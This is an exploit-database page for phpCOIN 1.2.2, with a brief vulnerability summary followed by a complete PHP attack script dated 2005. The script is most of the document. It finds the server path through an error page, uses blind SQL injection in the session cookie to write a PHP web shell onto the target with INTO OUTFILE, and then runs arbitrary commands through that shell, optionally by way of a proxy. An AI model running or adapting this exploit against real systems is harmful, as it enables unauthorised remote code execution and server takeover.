header-logo
Suggest Exploit
vendor:
phpcoin
by:
rgod
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: phpcoin
Affected Version From: 1.2.2
Affected Version To: 1.2.2
Patch Exists: Yes
Related CWE: N/A
CPE: a:phpcoin:phpcoin:1.2.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Apache
2005

phpCOIN 1.2.2 blind SQL injection / remote cmmnds xctn

This exploit allows an attacker to inject malicious SQL commands into the vulnerable application. It can be used to gain access to sensitive information stored in the database, or to execute arbitrary code on the server.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

<?php
#   ---phpcoin_122_sql_xpl.php                                                 #
#                                                                              #
#     phpCOIN 1.2.2 phpcoinsessid blind SQL injection / remote code execution  #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -> this works with magic_quotes_gpc off                                     #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu:"When these five kinds of spy are all at work, none can discover    #
#  the secret system.  This is called "divine manipulation of the threads." It #
#  is the sovereign's most precious faculty."                                  #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>phpCOIN 1.2.2 blind SQL injection  /  remote cmmnds xctn
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
phpCOIN 1.2.2 blind SQL injection  /  remote cmmnds xctn</p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/phpcoin/ or just / ) </span></p><p><input type="text" name="command">     <span
class="Stile5"> * specify a command  </span>  </p> <p>        <input type="text"
name="pathtoWWW"> <span class="Stile5">   full application path      (ex:
"/www/phpcoin/", "../../www/phpcoin/","c:\www\phpcoin\" ), if not specified,  we
will try to disclose the path  </span> </p> <p>        <input type="text"
name="PREFIX"> <span class="Stile5"> Specify a table prefix  (default: phpcoin_)
</span> </p><p> <input type="text" name="port"><span class="Stile5">specify  a
port   other than  80 ( default  value )</span></p><p><input  type="text"
name="proxy"><span class="Stile5">send  exploit through an  HTTP proxy (ip:port)
</span></p><p><input type="submit" name="Submit" value="go!"></p></form> </td>
</tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$command=$_POST[command];
$pathtoWWW=$_POST[pathtoWWW];
$PREFIX=$_POST[PREFIX];

if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
if ($PREFIX=='') { $PREFIX="phpcoin_";}
if ($pathtoWWW=='')
{
#STEP 0 -> Disclose full application path
$packet="GET ".$p."config.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: J-PHONE/3.0/J-SH07\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Fatal error",$html))
    {
      $temp=explode("in <b>",$html);
      $temp2=explode("coin_includes",$temp[1]);
      $pathtoWWW=$temp2[0];
      echo "Full application path ->".htmlentities($pathtoWWW)."<br>";
    }
else {echo "sorry, unable to disclose path..."; die;}
}

$pathtoWWW=str_replace('\\','\\\\\\\\',$pathtoWWW); //for Windows boxes...
$dirs= array
(
 '', 'coin_admin/', 'coin_auxpages/', 'coin_cron/', 'coin_database/', 'coin_docs/', 'coin_images/',
 'coin_includes/', 'coin_lang/', 'coin_modules/', 'coin_setup/', 'coin_themes/',
 'coin_lang/lang_english/','coin_modules/articles/','coin_modules/cc/',
 'coin_modules/clients/', 'coin_modules/domains/','coin_modules/downloads/',
 'coin_modules/faq/','coin_modules/helpdesk/','coin_modules/invoices/',
 'coin_modules/mail/','coin_modules/orders/','coin_modules/pages/',
 'coin_modules/search/', 'coin_modules/siteinfo/', 'coin_modules/whois/',
 'coin_setup/sql/',
 'coin_themes/cantex/','coin_themes/classic/','coin_themes/coolblue/',
 'coin_themes/earthtone/',
 'coin_themes/cantex/html/','coin_themes/cantex/images/','coin_themes/cantex/images/nav/',
 'coin_themes/classic/html/','coin_themes/classic/images/','coin_themes/classic/images/nav/',
 'coin_themes/coolblue/html/', 'coin_themes/coolblue/images/','coin_themes/coolblue/images/nav/',
 'coin_themes/earthtone/html/','coin_themes/earthtone/images/', 'coin_themes/earthtone/html/nav/'
);

for ($i=0; $i<=count($dirs)-1; $i++)
{
#STEP 1 ->Shell inject
//we have to be sure that phpcoin_sessions table is not empty, so firstly
//we call main index page
$packet="GET ".$p."index.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Gulliver/1.3\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
//max 36 chars shell
$SQL="-' UNION SELECT 'Hi!<?php system(\$_GET[cmd]);?>' INTO OUTFILE '".$pathtoWWW.$dirs[$i]."coin_cfg.php' FROM ".$PREFIX."sessions LIMIT 1/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."mod.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Inktomi Search\r\n";
$packet.="Cookie: phpcoinsessid=".$SQL."; \r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

#STEP 2 -> Launch commands...
$packet="GET ".$p.$dirs[$i]."coin_cfg.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Industry Program 1.0.x\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi!",$html)) {echo "Exploit succeeded...";die;}
}
}
else
{echo "Fill * required, optionally specify a proxy ";}

?>

# milw0rm.com [2005-12-12]